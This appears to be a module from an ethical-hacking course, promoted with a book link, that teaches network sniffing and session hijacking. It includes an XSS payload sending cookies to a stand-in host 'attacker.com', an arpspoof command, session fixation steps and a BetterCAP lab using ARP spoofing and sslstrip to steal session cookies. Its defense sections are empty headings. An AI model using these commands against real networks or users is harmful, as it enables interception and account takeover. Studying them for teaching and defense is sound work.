Sniffing & Session Hijacking Guide

Introduction

Sniffing and session hijacking are critical network attacks where an attacker intercepts and manipulates network traffic to steal sensitive data or take over authenticated sessions. This guide covers techniques, tools, and defenses.

📚 Get Your Copy Today!

🛒 Buy Now on Amazon

1. Network Sniffing

What is Sniffing?

• Capturing and analyzing network traffic.
• Used for passive reconnaissance (e.g., stealing passwords, cookies).
• Works on unencrypted (HTTP, FTP, Telnet) and weakly encrypted protocols.

Types of Sniffing

1. Passive Sniffing

• Works on hubs (broadcast traffic).
• Attacker silently captures packets.

2. Active Sniffing

• Works on switched networks (requires ARP spoofing).
• Techniques: ARP Poisoning, MAC Flooding, DNS Spoofing.

Sniffing Tools

How to Perform Sniffing?

Step 1: Set Up Promiscuous Mode

ifconfig eth0 promisc  # Enable promiscuous mode

Step 2: Capture Traffic with Wireshark

• Open Wireshark → Select interface → Start capture.
• Apply filters (e.g., http, ftp, tcp.port == 80).

Step 3: Analyze Packets

• Look for plaintext passwords (HTTP, FTP).
• Extract cookies (Cookie: header in HTTP).

2. Session Hijacking

What is Session Hijacking?

• Stealing a valid session token (cookie, session ID) to impersonate a user.
• Common targets: Web apps, SSH, RDP, Telnet.

Types of Session Hijacking

Session Hijacking Tools

How to Perform Session Hijacking?

Method 1: Cookie Theft via XSS

1. Inject malicious script:

document.location='http://attacker.com/steal.php?cookie='+document.cookie;

2. Capture stolen cookie on attacker's server (steal.php logs cookies).

Method 2: ARP Spoofing + Cookie Sniffing

1. ARP Poisoning (redirect traffic to attacker):

arpspoof -i eth0 -t 192.168.1.100 192.168.1.1

2. Use Wireshark or Ettercap to sniff cookies.
3. Modify browser cookies (Chrome DevTools → Application → Cookies).

Method 3: Session Fixation

1. Generate a fake session ID (PHPSESSID=attacker123).
2. Trick victim into using it (via phishing).
3. When victim logs in, attacker reuses the same session.

3. Defenses Against Sniffing & Hijacking

Preventing Sniffing

Preventing Session Hijacking

4. Hands-On Lab

Lab: Stealing Cookies with BetterCAP

1. Install BetterCAP:

sudo apt install bettercap

2. Start ARP spoofing:

sudo bettercap -iface eth0
> net.probe on
> net.recon on
> arp.spoof on

3. Sniff HTTP traffic:

> set http.proxy.sslstrip true
> http.proxy on

4. Analyze stolen cookies in BetterCAP logs.

1. Search logs for Cookie: or Set-Cookie: headers.
2. Extract session tokens (e.g., PHPSESSID, JSESSIONID).
3. Check for missing security flags (Secure, HttpOnly).
4. Test cookie validity via curl or Burp Suite.
5. Recommend HTTPS, secure flags, and HSTS to prevent future theft.

Conclusion

• Sniffing = Capturing unencrypted traffic.
• Session Hijacking = Stealing active sessions.
• Defenses = Encryption, secure cookies, monitoring.

🔹 Next Steps

• Module 7: Web Application Hacking
• Try HTTPS decryption (SSLstrip, mitmproxy)
• Explore browser security (CSP, HSTS)
• Practice on CTF challenges (Hack The Box, TryHackMe)